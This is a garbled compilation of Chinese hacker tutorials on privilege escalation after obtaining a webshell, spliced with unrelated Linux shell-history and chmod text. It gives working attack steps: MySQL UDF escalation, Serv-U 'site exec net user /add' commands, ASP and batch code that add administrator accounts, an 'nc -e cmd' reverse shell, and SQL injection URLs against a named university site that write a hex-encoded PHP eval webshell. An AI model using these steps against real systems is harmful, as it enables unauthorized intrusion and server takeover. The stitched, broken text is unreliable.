一次简单但又完整的先拿shell后提权的经历
MySQL提权之udf提权(获得webshell的情况)

MySQL提权之udf提权(获得webshell的情况)什么是udf提权?MySQL提供了⼀个让使⽤者⾃⾏添加新的函数的功能,这种⽤户⾃⾏扩展函数的功能就叫udf。
它的提权原理也⾮常简单!即是利⽤了root ⾼权限,创建带有调⽤cmd的函数的udf.dll动态链接库!这样⼀来我们就可以利⽤ system权限进⾏提权操作了!当我们拿到webshell后,由于中间件,例如,apache使⽤了较低的权限,可能仅仅是个⽹络服务的权限,然后我们就需要进⾏提权,⽽有时候⽬标机器补丁较全,各种系统提权姿势都失效的情况下,可以将⽬光转义到数据库服务上,在Windows下,在较低版本的mysql(<5.6)安装时默认是系统权限。
还有就是很多⼈图⽅便,例如使⽤了各种集成环境,未做安全设置,直接⽤⾼权限账户进⾏站点配置,就可以考虑⽤UDF进⾏提权。
dll⽂件的好处?1.扩展了应⽤程序的特性;2.可以⽤许多种编程语⾔来编写;3.简化了软件项⽬的管理;4.有助于节省内存;5.有助于资源共享;什么是udf库?UDF表⽰的是MySQL中的⽤户⾃定义函数。
这就像在DLL中编写⾃⼰的函数并在MySQL中调⽤它们⼀样。
我们将使⽤“lib_mysqludf_sys_64.dll”DLL 库不同版本的区别:MySql < 4.1:允许⽤户将任何的DLL⽂件⾥⾯的函数注册到MySql⾥。
MySql 4.1-5.0:对⽤来注册的DLL⽂件的位置进⾏了限制,通常我们选择 UDF导出到系统⽬录C:/windows/system32/来跳过限制。
MySql >=5.1:这些DLL只能被放在MySql的plugin⽬录下。
0x01 提权的前提1. 必须是root权限(主要是得创建和抛弃⾃定义函数)2. secure_file_priv=(未写路径)3. 将udf.dll⽂件上传到MySQL的plugin⽬录下(这⾥以MySQL>=5.1为例)0x02 开始提权这⾥以本地为例1.我们这⾥上传了⼀句话,然后⽤菜⼑连接上先判断数据库版本select version();符合MySql>=5.1的情况。
【法客周年庆】跟着黑客走吃喝全都有,提权 (二)

目录1、进shell检查权限 (1)2、扫端口 (1)3、43958 开了 (2)4、1433开了得到dbo权限 (2)5、找到Serv-U目录无法访问 (3)6、尝试mysql提权 (3)7、尝试su提权 (4)8、SU提权 (5)9、总结 (5)1、进shell检查权限首先这个是看到坛子里面的一个求助提权贴提权的,以前在hake发过,但没这么详细溜达进shell看了下子。
aspx支持的完好,不过权限还是比较低的。
IISSPY可以完美跨目录,那么提权还是有大大的希望的。
2、扫端口127.0.0.1 : 21 ................................. Open127.0.0.1 : 25 ................................. Open127.0.0.1 : 80 ................................. Open127.0.0.1 : 110 ................................. Open127.0.0.1 : 1433 ................................. Open127.0.0.1 : 1723 ................................. Close127.0.0.1 : 3306 ................................. Open127.0.0.1 : 3389 ................................. Open127.0.0.1 : 4899 ................................. Close127.0.0.1 : 5631 ................................. Close127.0.0.1 : 43958 ................................. Open127.0.0.1 : 65500 ................................. Close3、43958 开了那就来试试把。
九种经典的Webshell提权

说到花了九牛二虎的力气获得了一个webshell,当然还想继续获得整个服务器的admin权限,正如不想得到admin的不是好黑客~嘻嘻~~好跟我来,看看有什么可以利用的来提升权限第一如果服务器上有装了pcanywhere服务端,管理员为了管理方便也给了我们方便,到系统盘的Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/中下载*.cif本地破解就使用pcanywhere连接就ok了第二有很多小黑问我这么把webshell的iis user权限提升一般服务器的管理都是本机设计完毕然后上传到空间里,那么就会用到ftp,服务器使用最多的就是servu那么我们就利用servu来提升权限通过servu提升权限需要servu安装目录可写~好开始把,首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载下来,然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖,启动servu添加了一个用户,设置为系统管理员,目录C:\,具有可执行权限然后去servu安装目录里把ServUDaemon.ini更换服务器上的。
用我新建的用户和密码连接~好的,还是连上了ftpftp>open ipConnected to ip.220 Serv-U FTP Server v5.0.0.4 for WinSock ready...User (ip:(none)): id //刚才添加的用户331 User name okay, please send complete E-mail address as password. Password:password //密码230 User logged in, proceed.ftp> cd winnt //进入win2k的winnt目录250 Directory changed to /WINNTftp>cd system32 //进入system32目录250 Directory changed to /WINNT/system32ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe 文件加用户。
linux shell发展史

linux shell发展史Linux Shell发展史在计算机领域,操作系统是非常重要的一部分,它可以管理计算机硬件和软件资源,为用户和应用程序提供一个运行环境。
操作系统提供了很多不同的接口,其中之一就是Shell。
Shell是一个命令行解释器,它使用户能够与操作系统交互,并执行命令和任务。
本文将详细介绍Linux Shell的发展史,从诞生的起源到现在广受欢迎的Bash Shell,逐步回答你关于Shell发展的问题。
一、早期操作系统的命令行接口在早期的计算机操作系统中,命令行是主要的用户接口。
用户通过键盘输入命令,计算机处理后执行相应的操作。
这些命令通常是针对硬件直接的指令,比如读取磁碟、写入内存等。
这种接口非常原始,需要用户有底层的计算机知识,对于普通用户来说非常不友好。
二、Unix Shell的出现1969年,AT&T贝尔实验室的肯·汤普森、丹尼斯·里奇等人开发了Unix 操作系统。
他们设计了一种新的操作方式,称之为“shell”。
区别于早期的命令行接口,Unix Shell提供了一个更友好和易用的用户界面。
它能够解析用户输入的命令,并将其传递给操作系统执行。
在Unix系统中,Shell是用户与操作系统之间的桥梁。
三、Bourne Shell的诞生在Unix系统中,第一个广泛使用的Shell是Bourne Shell(sh)。
它由肯·汤普森在1979年开发。
Bourne Shell提供了很多强大的功能,比如命令扩展、I/O 重定向、管道等。
这些功能使得Shell脚本编程成为可能,可以将一系列的命令组合成脚本文件,并通过Shell执行。
四、C Shell和Korn Shell的出现在Bourne Shell之后,出现了更多的Shell变种,比如C Shell(csh)和Korn Shell(ksh)。
C Shell由比尔·乔伊在1978年开发,基于C语言的语法,引入了一些新特性,比如命令历史、命令别名等。
shell指令常见的使用案例

Shell指令常见的使用案例1. 简介Shell是一种命令行解释器,主要用于在操作系统上执行用户命令。
通过Shell指令,我们可以控制计算机进行各种操作。
本文将详细介绍Shell指令的常见使用案例,包括文件操作、系统管理、进程控制、管道和重定向、文本处理等方面。
2. 文件操作文件操作是Shell指令最常见的使用场景之一。
下面是一些常用的文件操作指令案例:2.1 创建目录使用mkdir指令可以创建一个新的目录。
例如,要在当前目录下创建一个名为“test”的目录,可以执行以下指令:mkdir test2.2 切换目录使用cd指令可以切换当前工作目录。
例如,要进入“test”目录,可以执行以下指令:cd test2.3 列出文件使用ls指令可以列出当前目录下的文件和子目录。
例如,要列出当前目录下的所有文件和子目录,可以执行以下指令:ls2.4 复制文件使用cp指令可以复制文件。
例如,要将一个名为“file1”的文件复制到“test”目录下,可以执行以下指令:cp file1 test/2.5 删除文件使用rm指令可以删除文件。
例如,要删除一个名为“file1”的文件,可以执行以下指令:rm file13. 系统管理Shell指令还可以用于系统管理任务,如用户管理、权限管理等。
下面是一些常用的系统管理指令案例:3.1 添加用户使用useradd指令可以添加一个新用户。
例如,要添加一个名为“user1”的用户,可以执行以下指令:useradd user13.2 删除用户使用userdel指令可以删除一个用户。
例如,要删除一个名为“user1”的用户,可以执行以下指令:userdel user13.3 修改文件权限使用chmod指令可以修改文件的权限。
例如,要将一个名为“file1”的文件设置为所有者可读、写和执行,其他用户只有读权限,可以执行以下指令:chmod u=rwx,g=r,o=r file13.4 查看系统信息使用uname指令可以查看系统的一些基本信息。
Guest提权

注:上述批处理文件作用是创建一个名为 admin 的管理员帐户(密码为123456)。
二、将此批处理文件作为Windows 的开机启动脚本。
1、在 运行 对话框中输入 gpedit.msc
2、定位到 计算机配置一>Windows设置一>脚本 (启动/关机), 双击右边窗口的 启动,在其中添加先前创建的 admin.bat。
但是,如果你不是管理员,如Guest帐户,表面上是不可以使用上述命令的,但我们可以通过其它渠道来使用它。
例:以 Guest帐户身份创建一个管理员
一、 创建一个批处理文件,内容如下:
net user admin 123456 /add
net localgroup administrators admin /add
例:
大家知道,在Windows 2000/XP 中,如果你是管理员,就算不知道其他用户(管理员)的密码,可以用 "Net User 帐户 密码" 更改其密码。据说微软是为了用户的方便(如用户忘记密码),此外,用户还可以用"Net Localgroup Administrators 帐户 /add" 命令来将帐户添加到管理员组。
通过你的WEB漏洞,拿到了WEBshell.然后通过shell,拿到了权。
我估计啊,你的文件权限设置的很不严谨。所以才通过guest拿到了最高权限。
也不排除系统本身漏洞的可能性。下面是一些资料,希望能为你解惑。
====================================================================
3、重新启动计算管理员
菜鸟入侵网站拿SHELL从简单入手再到拿服务器

好了,教程里面也说得很全面的了,要实践才是更道理
但有些人还想提权,呵呵,这里我也做好了个提权教程,
/space/file/panwu/-4e0a-4f20-5206-4eab/SHELL-7684-63d0-6743-62ff-670d-52a1-5668-6559-7a0b.rar/.page
很多人都想入侵网站,但无从下手,或是拿到了网站后台却又拿不下SHELL,拿下SHELL却又提权不了服务器等等,。首先不会的菜鸟的SHELL没有几个是处的,呵呵,但菜鸟们也是必要学习的啊。
首先我们要了解万能密码 'or'='or' 这对现在来说时有点过旧过时了,但对新手来练习似乎还没过时,万能密码记得在2002年,其实那几年非常流行的,我们打开谷歌网站,你懂的吧,然后设置,----再到结果设置 Google 的默认设置(10 项)最有效且最快。
没数据库备份的,打不开数据库的教程,用抓包工具抓包教程
/space/file/panwu/-4e0a-4f20-5206-4eab/-5165-4fb5-7f51-7ad9-62ffSHELL-ff082-ff09.rar/.page
பைடு நூலகம்
看懂了会做了,小菜就可以得到大量的SHELL,至于你想干什么,那就是你的事了,
然后我们会看到很多网站后台哦,这里我们就会用到万能密码,用户和密码填写万能密码,用上面的代码找到大多数V1。0版本的网站,这样的网站如果没有补过的话,就会有漏洞,。
如果你用万能密码登陆进去了,去找一下备份数据库。如果没有就用抓包,不会的这里有教程,看了就懂的,
有数据库备份教程
/space/file/panwu/-4e0a-4f20-5206-4eab/-5165-4fb5-7f51-7ad9-62ffSHELL-6559-7a0b-ff081-ff09.txt.rar/.page
【法客周年庆】从简单shell到突破360 天网提权

从简单shell到突破360+天网提权Author:BlackeagleBlog:事情是这样子的。
同地不同校的站,检测了一次又一次,还有漏洞。
尼玛,这管理员太不负责了,伤不起。
(虽然我认识。
)大一的时候就检测过~拿了shell就没再干啥(多么天真+纯洁)后来管理员修复了,然后又R。
从织梦cms入手,最后到了一个密码是1的shell。
(后来小A告诉他也是从这里入手的我茫然了。
)其实这种后台也是有注入的。
/admin/login.asp为神马我就不会呢,还望基友指点。
然后有了下文。
进密码为1的那个Webshell网卡,不方便。
一句话进。
看看权限支持aspx,那就传个aspx马儿看看。
先看看进程~果断发现360 以及天网防火墙(pfw.exe)!!!执行命令看看没有回显果断寻找免杀pr 上传之~过了。
呵呵。
执行看看。
Microsoft Windows XP [版本5.2.3790]没权限,肿么办?求解。
小A说他一个一个找的,翻到了sa的帐号密码,我咋就没有呢。
(提权一定要有恒心啊)翻翻IIS去database试了试,不行。
继续。
功夫不负有心人~server=localhost;UID=sa;PWD=xxoo;database=syjj;Provider=SQLOLEDB果断连接之~建立帐号360突破简单,直接/ad就过了。
天网呢?我愁。
喝点咖啡。
想想~因为我们已经拿到了sa直接关了试试。
发现这个,果断点了。
嘿嘿,RP好,不过如果没有kill,又该如何去突破呢?问问。
不过估计他睡了~因为前面看到了链接扫4430端口开着的。
链接之。
最后感谢小A哈~还是你细心。
最最后弱弱问一句,.net建的站,为毛访问aspx页面不卡,访问asp页面就特别卡啊?。
我是如何拿下会员举报的非法网站(超详细)

目标网站:/先来判断他是不是钓鱼网站,用站长工具查询了下,网站没有备案(就像汽车没有牌照),机房在美国。
108.171.247.59[美国加利福尼亚州洛杉矶县沃尔纳特市Psychz网络公司] [同IP网站3个] [响应时间: 1秒752毫秒就能判断他是非法网站了。
在来看下我们红盟:有备案,服务器在国内,所以是正规网站。
非法钓鱼网站都是没有备案的,服务器都不会在国内的。
先来判读下此非法网站架设环境Server: Microsoft-IIS/6.0得到一条有用的信息IIS6.0IIS6.0 环境一般都是Windows2003现在可以找Windows2003服务器系统漏洞,也可以先找网站漏洞。
我们还是一步一步来。
先扫描下服务器开了什么端口开了80 22 3389我们一个一个分析。
80端口http 端口,不开这端口网站也访问不了,网站也没有爆出什么0day,所以放弃22端口22端口就是ssh端口,PcAnywhere建立TCP和这一端口的连接可能是为了寻找ssh。
这一服务有许多弱点。
如果配置成特定的模式,许多使用RSAREF库的版本有不少漏洞。
(建议在其它端口运行ssh)这一服务有许多弱点。
如果配置成特定的模式,许多使用RSAREF库的版本有不少漏洞。
(建议在其它端口运行ssh)还应该注意的是ssh工具包带有一个称为make-ssh-known-hosts的程序。
它会扫描整个域的ssh主机。
你有时会被使用这一程序的人无意中扫描到。
用于连接linux 22端口的工具有SSH Secue Shell。
前提是iptable开放了ssh这个服务。
(百度百科到的)百度也没有找到这个端口什么0day。
所以果断放弃3389 远程桌面现在链接试下先按5下shift键盘,看看弹不弹出CMD界面,有没有黑阔来过,说不定留了后门。
没有设置密码,或者密码简单弱口令,这样你就进去了。
当然俺没有这么好的运气,可以试下3389爆破/thread-117711-1-1.html[/url] 具体怎么用教程在这,当然除非运气及好,不然会不成功的,所以俺也没有成功现在我们在找下3389溢出0dayMS12-020: 远程桌面中允许远程执行代码漏洞(不知道百度)2012年爆出漏洞,如果管理员没有打补丁说不定就溢出成功说Windows系统类的!只要开了3389端口!发包速度达到了580左右就能远程溢出增加过管理员帐号!不只是不是真的!到百度找了个MS12-020 溢出工具!本来想增加个管理员进去!可能是发包速度达不到吧!(还是没他们说的那么神奇!能增加管理员帐号!)直接溢出!结果蓝屏重启!我在虚拟机也试过!也是这个样子!直接蓝屏!重启!服务器也是直接蓝屏重启!(如果提权要用到服务器重启这招很不错哦)所以3389没有成功,如果查询到Server: Microsoft-IIS/6.0这样信息,又扫描到没有开3389端口。
WEBSHELL提权方法总结

默认是erveryone 完全控制,很多时候没作限制,把提升权限的工具上传上去;
c:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动"写入bat,vbs等木马。(默认没有这个权限);
省略号为复制下的内容。中间用空格分开不要带回车符
最后运行这个bat就行了。
0Parameters=
将文件scripts.ini保存到"C:\\\\winnt\\\\system32\\\\GroupPolicy\\\\Machine\\\\Scripts"
还有一种比较少见的方法:
原理:
asp文件的教本解释是由asp.dll运行的。由dllhost.exe启动的。身分是IWAN_NAME。若是把asp.dll放到inprocesslsapiapps中那它就是由inetifo.exe直接启动。身份是system
看这里能不能跳转,我们从这里可以获取好多有用的信息比如Serv-U的路径,防火墙,杀毒软件信息.
C:\\Documents and Settings\\All Users\\Application Data\\Symantec\\pcAnywhere\\
看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,破解得到pcAnywhere密码;
replace
替换法,可以替换正在执行的文件。用这个几乎可以马上得到权限,但是我没有做过试验,可以试下,将对方正在执行的文件替换为和它文件名一样的,捆绑了木马的。为什么不直接替换木马呢?如果替换的是关键程序,那不是就直接挂了?所以还是捆绑好点
shell发展史

shell发展史Shell发展史一、引言Shell是操作系统中的一种命令行解释器,它为用户提供了与操作系统内核进行交互的方式。
Shell的发展可以追溯到计算机操作系统的早期阶段,随着计算机技术的不断发展,Shell也不断演变和完善。
本文将围绕Shell的发展历程展开叙述。
二、早期Shell的诞生在计算机操作系统诞生的早期,用户与计算机之间的交互主要通过命令行界面进行。
早期的Shell相对简单,只能执行一些基本的命令,如文件管理、进程控制等。
这些Shell主要是基于硬件平台的特点而开发的,如Unix操作系统上的Bourne Shell。
三、C Shell的出现随着计算机硬件的不断发展和操作系统的日益复杂,早期的Shell 显得力不从心。
为了提高用户的使用体验,C Shell应运而生。
C Shell具有更加人性化的命令行语法,支持命令别名、命令历史记录等高级功能,大大提高了用户的工作效率。
四、Bourne Again Shell的崛起随着Unix操作系统的广泛应用,Bourne Again Shell(简称Bash)应运而生。
Bash是对传统Bourne Shell的增强和扩展,它继承了Bourne Shell的优点,并加入了许多新的特性,如条件判断、循环控制、函数定义等。
Bash成为了Unix和Linux系统中最常用的Shell,它为用户提供了强大而灵活的命令行环境。
五、图形化Shell的兴起随着计算机图形界面技术的发展,人们开始追求更加直观、简单的交互方式。
图形化Shell应运而生,如Windows系统上的PowerShell和Linux系统上的Korn Shell。
这些图形化Shell提供了可视化的操作界面,用户可以通过鼠标点击和拖拽来完成任务,使得操作更加便捷和直观。
六、Shell脚本编程的兴起Shell不仅仅是一种命令行解释器,它还可以用于编写脚本。
随着互联网的发展,Shell脚本编程逐渐成为一门独立的编程语言。
对服务器进行提权的方法

对服务器进行提权的方法文章录入: 责任编辑: 84【字体:小大】现在可以说网络管理员对服务器的设置是越来越BT,但BT的同时,也有黑客朋友们对服务器的不断的测试,在测试中往往获取最低的guest权限是简单的,像我们在入侵网站过程中,获取webshell是简单的,但是当由webshell的guest权限向system权限提升时却往往是止步不前。
所以我有想写这样一篇文章的想法,但是在思考的过程中,又不得不承认,方法是不断的探索中出来的,方法更是有常规的也有另辟蹊径的。
下面就做一些简单的介绍,对提权的方法进行一些介绍,同时也希望在更多朋友的不断回复中能够丰富我们的方法。
首先要说明的是,过早的一些漏洞我们就不再多说了,只说一些现在可以见到的吧。
还有就是本文的题目是webshell下的服务器提权方法。
下面我们就进入主题,对webshell的提权方法!首先我们要明确的是,提权一般是依靠主机所开通的服务,利用服务存在的漏洞和管理员设置的疏忽进行提权的,不过也不排除一些SB的管理员对服务器设置的似乎没有"穿衣服".下面就是针对一些常见的服务进行的提权方法。
在获取webshell后,我们常见的是看一下系统的服务,查看服务可以通过利用扫描器对服务器ip进行扫描,或是在webshell中有执行dos命令时查看net start来查看主机所开放的服务。
首先我们说一下从简单的开始说起:1.pcanywhere的提权方法pcanywhere软件我想大家都了解,为什么将它放在首位就是因为读取密码后直接连接就可以了,如果对方主机在开通了pcanywhere的服务端的话,我们看能否跳转到这个目录C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\,如果行那就最好了,直接下载它的CIF文件,然后使用pcanywhere的密码读取器得到pcAnywhere密码,然后使用pcanywhere登陆即可!接下来就是可视化操作了。
shell基本工作过程

shell基本工作过程
Shell是一个用于与操作系统内核通信的命令行解释器。
它允许用户通过命令行界面输入命令,并将这些命令传递给操作系统内核执行。
Shell的基本工作过程可以分为以下几个步骤:
1. 提示符,当用户打开终端或命令行界面时,Shell会显示一个提示符,等待用户输入命令。
2. 解析命令,一旦用户输入命令并按下回车键,Shell会解析这个命令,识别命令的名称、参数和选项。
3. 执行命令,Shell将解析后的命令传递给操作系统内核,内核根据命令的要求执行相应的操作,比如创建、删除、移动文件,启动程序等。
4. 输出结果,当命令执行完成后,Shell会将操作系统内核返回的结果显示在命令行界面上,让用户查看。
5. 循环等待,完成命令执行后,Shell会再次显示提示符,等待用户输入下一个命令,整个过程循环进行。
Shell可以通过脚本编程,将多个命令组合成一个脚本文件进行批处理,这样可以提高工作效率。
另外,Shell还可以进行输入/输出重定向、管道操作等,使得用户可以更灵活地处理命令和程序的输入输出。
总的来说,Shell的基本工作过程包括接收用户输入的命令、解析并传递给操作系统内核执行、显示执行结果,并循环等待下一个命令。
它是用户与操作系统之间的重要交互界面,为用户提供了方便快捷的操作方式。
cmd反弹shell提权 文档

本帖最后由 falling 于 2011-5-5 13:12 编辑
声明:原创文章,转载请注明来自哈客部落(),违者必究!作者:Falling
上次拿的服务器很久没看了。
这几天忙与学习。
今天上去看下
帐号被删除。
我擦。
这个管理员真是让人蛋疼.
于是用用上次方法udf提权。
如图:
帐号还是没添加上。
如图:
经过很多测试不成功。
管理员但还是疏忽了ws组建。
呵呵。
成功的希望正在前方。
虽然对mysql语句不精通。
放弃了mysql提权方法。
后来在某个论坛看见cmd反弹shell
呵呵。
有戏了。
灵感来了。
找了web目录上传nc和巴西烤肉
web目录都是有写有读的权限。
本机连接
nc -vv -lp 52
服务器连接比如:
D:\web\nc.exe -e cmd上传路径 IP(外网IP) 52(这里是本机端口)
反弹上去net user 成功了.
利用巴西烤肉来提权
命令:
1.exe user falling falling /add
就出现了密码不满足密码策略的要求。
检查最小密码长度、密码复杂性和密码历史的要求。
如图:
那就换个密码吧.
net user falling Falling1234 /add
果断的成功
请大牛别见笑By:Falling。
菜刀渗透提权小结

菜⼑渗透提权⼩结因为某原因搞某个站。
主站搞不动,只能从⼆级域名下⼿,⼆级域名⼤多也不好搞,but,发现其中⼀个站上有其他不少旁站,于是从旁站下⼿。
拿shell⽆亮点,⼀笔带过吧,上传,bingo~提权过程得到点⼼得和经验,重点分享下:Shell允许跨⽬录,看了下权限,network service:因为数据库是sqlserver,故想尝试找到数据库连接串,⽤sa来提,but:⽤其他库的库⽤户登录可以成功,能够读库,可就是⽤sa账户登录失败,难道密码不对?或者密码过期了?于是想上各种溢出继续XO,看了下补丁情况:有不好的预感,结果事实就是各种本地溢出都不⽤了。
⽤ms11080时,能够进⾏到前4步,到添加⽤户和添加⽤户组时就没动静了。
其他的⼯具都不能执⾏。
⽤前段时间的windows全版本提权⼤0day也不好使。
Net user⼀下发现有个很奇怪的账户,其中administrator重命名了:(箭头所指⽤户名⽐较敏感,在⽹上能直接搜到域名,故打码了。
望见谅。
)箭头所指⽤户名是其中⼀个旁站的⽹站⽬录名。
于是重点看⼀看:发现是远程桌⾯组内的⽤户。
但是苦于没有密码。
不过还是想上服务器看看。
于是先把端⼝转出来吧。
虽然上⾯有瑞星,但妨碍不到这些⼯具。
找了可读可写⽊录上传了lcx。
把3389转出来。
从外⾯只能看到80。
其他端⼝包括1433都看不到。
上去后⼿痒随便乱试了⼀下。
发现⽤密码⽤户名+123!@#居然进去了!(此处全靠⼈品!)But进来后发现该⽤户权限⽐菜⼑还不如:菜⼑下还能跨⽬录任意访问,⽤这个⽤户进来了却连跨盘符访问都不⾏了。
到这⼀步时,真⼼有点不知咋办了。
各种溢出上了,数据库连不上。
好不容易猜到⼀个⽤户(系统管理员没猜中),权限还特别低。
感觉基本上有点没招使的了。
后来经过⾝边某⼤⽜提醒:现在这个⽤户是以其中⼀个旁站的域名命名的,所以⾄少该⽤户在⾃⼰所在的⽹站⽬录下的权限是⽐较⾼的。
事实证明是这样的。
⽤菜⼑传了⼀个windows全版本提权的exp到该⽹站⽬录下。
linuxshell_输出总结(一)

写作初衷在我当学生的时候,每当想学习一门新技术时,喜欢找一本厚厚的有关该知识的书籍,并且从头到尾认真看一遍,之后觉得应用该知识时不会有什么问题了。
当我迈出象牙塔,走进职场时发现,曾经的那本厚书所讲的东西,只有一部分在工作中得到实际的使用;公司一位资深的老员工也曾经跟我说过:公司不是要你掌握全部知识,而是其中能实际创造价值的知识。
鉴于此,我想写一些工作中某一知识实际使用的部分,与从事IT朋友们分享。
本人计算机硕士学历,现供职国内某一著名通信领域公司,从事计算机编程等日常工作。
此篇文档和后续我将要写的文档是一个系列,分别记录我工作中使用到的计算机技能,与各位计算机专业的学生、即将从事IT职业的朋友或者已是资深IT工作者分享,以此抛砖引玉,欢迎朋友们对我文中不足之处提出宝贵的意见和指导。
chmod与文件权限此篇文档将讲解关于linux中文件权限常用命令chmod。
为了达到一个比较好的效果,我会在需要的地方实际上机验证测试,并截图给朋友们看。
我的linux机器装的是(opensuse-11.3),并且以文本界面(类似于dos那种黑黑的界面)。
开始:chmod命令是一个在工作中经常被使用的命令,它主要是用来指定一个文件可以被谁读(或者不可以被谁读),可以被谁写(或者不可以被谁写),可以被谁执行(或者不可以被谁执行)。
比如,我写完一个脚本后,常常需要使用chmod的x选项为该脚本赋予权限(单单使用x选项,表示任何人都可以执行我的脚本);再比如,我写的脚本需要别人也能执行,因此我需要将我的脚本对others用户(也就是其他用户)可执行。
以上是对chmod命令的一个大体的介绍。
下面对它展开较为详细的描述。
我在我的linux机器使用touch命令(此命令时工作中常用的一个命令,后续系列文档会讲到)创建新文件script,使用l(工作经常用到的命令,还有ls,后续系列文档将会讲到)如图一所示:图一创建script可以看到,刚刚创建的script脚本那一行最前面是”-rw-r—r--”,数一下一共是10列。
Shell脚本编写的高级技巧使用管道和重定向

Shell脚本编写的高级技巧使用管道和重定向Shell脚本编写是一种自动化任务的方式,可以帮助我们快速完成一些重复性的工作。
在编写Shell脚本时,使用管道和重定向是非常重要的高级技巧,可以让我们更加灵活和高效地处理数据和输出结果。
本文将介绍Shell脚本编写中使用管道和重定向的高级技巧。
一、管道(Pipes)管道是Shell脚本中一个非常有用的操作符,用于将一个命令的输出作为另一个命令的输入。
通过使用管道,我们可以将多个命令连接起来,实现数据的传递和处理。
例如,我们可以使用管道将一个命令的输出通过过滤器处理后再传递给另一个命令。
以下是一个简单的示例:```ls -l | grep ".txt"```上述命令先使用ls命令列出当前目录下的所有文件,并将结果通过管道传递给grep命令,grep命令则会筛选出包含".txt"的文件。
管道非常适用于对数据进行筛选、过滤、排序等操作,并且可以无限制地嵌套使用。
通过合理地使用管道,我们可以实现复杂的数据处理和分析。
二、重定向(Redirection)重定向是Shell脚本中另一个重要的技巧,通过重定向,我们可以将命令的输入和输出从默认的标准输入和标准输出进行改变。
1. 标准输入重定向我们可以使用重定向将文件的内容作为命令的输入。
例如,以下命令将文件input.txt的内容作为命令sort的输入:```sort < input.txt```这样,sort命令的输入就不再是标准输入,而是来自于文件input.txt 的内容。
2. 标准输出重定向除了输入重定向,我们还可以将命令的输出保存到文件中。
例如,以下命令将命令ls的输出保存到文件output.txt:```ls > output.txt```这样,ls命令的输出就会被重定向到文件output.txt中,而不是显示在终端上。
需要注意的是,如果输出文件已经存在,那么默认情况下会覆盖原有的内容。
ASP SHELL提权流程详解

拿到webshell,确定了是什么权限的,那么提权就可以开始了。
1.首先是最简单的system权限下直接添加账号,和普通的CMD命令没有什么区别。
这种机会还是很少的,基本我就遇到过2,3次。
此处提权失败进入2.还有一个特别的,用asp代码来提权,不过几率更小,在提权刚开始可以试一试。
也不知道在什么环境下的代码如下,这个也是网上找到的<%Set onlineServer=GetObject("WinNT://127.0.0.1")Set newuser=onlineServer.Create("user","enterer")NewUser.SetPassword "123456"NewUser.FullName="enterer test"NewUser.Description="enterer's example"NewUser.SetinfoSet oDomain=GetObject("WinNT://"&"127.0.0.1")Set oGroup=oDomain.GetObject("Group","administrators")oGroup.Add ("winnt://enterer")Response.Write "用户enterer添加成功"Response.Write("<BR>")Response.Write "用户enterer已经被添加到管理员组"Set oDomain=NothingSet oGroup=Nothing%>Enterer是账号123456是密码2.下意识的使用shell自带的提权功能,全部都测试一遍。
注入+直接写shell并提权拿root

先是注入点:http://www.doshisha.ac.jp/chs/news/index.php?i=-1然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:view source1 http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@d atadir,3,load_file('/etc/httpd/conf/httpd.conf'),5,group_concat(DIST INCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+e r//@@datadir 为数据库文件路径//load_file 读取网站容器apache 的配置文件//group_concat 读取MySQL 管理员的名字、密码、是否允许读写文件和允许登录的远程计算机虽然解得MySQL 的root 账户密码为mysql00,但是host 为localhost ,只允许本机登陆,所以用处不大。
而且Apache 的配置文件显示,服务器拒绝非该大学的ip 访问/admin/和phpMyAdmin ,所以即使爆出管理员账户密码也没用。
前面load_file 是因为发现了各文件夹权限限制的死,不允许外校ip 登陆,所以就猜了一下apache 的配置文件绝对路径为默认,后来发现还真的是默认的路径。
既然已经知道了Apache 的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/虽然/admin 和phpMyAdmin 的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell 了,因为php 的GPC 为off ,怎么判断为off 我就不说了。
直接写一句话:view source1 http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+'/http/www/koho/english/engnew s_img/aa.php'#2 //最后的#是为了闭合前面的语句3 /*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E4为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/5//如果直接select 一句话 into outfile '路径'会提示字段数不同,所以select 1,2,3,4...来执行注入语句6//后面的0x3c3f2f2a和0x2a2f3f3e分别为'<?php //'的和'?>'HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误7//所以最后aa.php的内容就是"<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>"HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有通过上述注入语句,我们就得到了一句话木马:view source1http://www.doshisha.ac.jp/english/engnews_img/aa.php复制代码用菜刀连接,密码是cmd,如图所示:上传大马,得到:http://www.doshisha.ac.jp/english/engnews_img/script.php直接用shell里面的反弹功能反弹到本地先,本地监听:远程服务器端转发:然后在命令提示行里看了一下,现在的权限是:之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
.
一次简单但又完整的先拿shell后提权的经历
前一段时间看到了易趣购物网站爆出了注入漏洞,注入的关键字是关键字:
inurl:Price.asp?anid=,结合系统本身的后台数据库备份生成目录可以自定义漏洞,轻松可以通过备份xxx.asp的目录,然后上传后缀为jpg的一句话木马,菜刀连之即可得到shell。
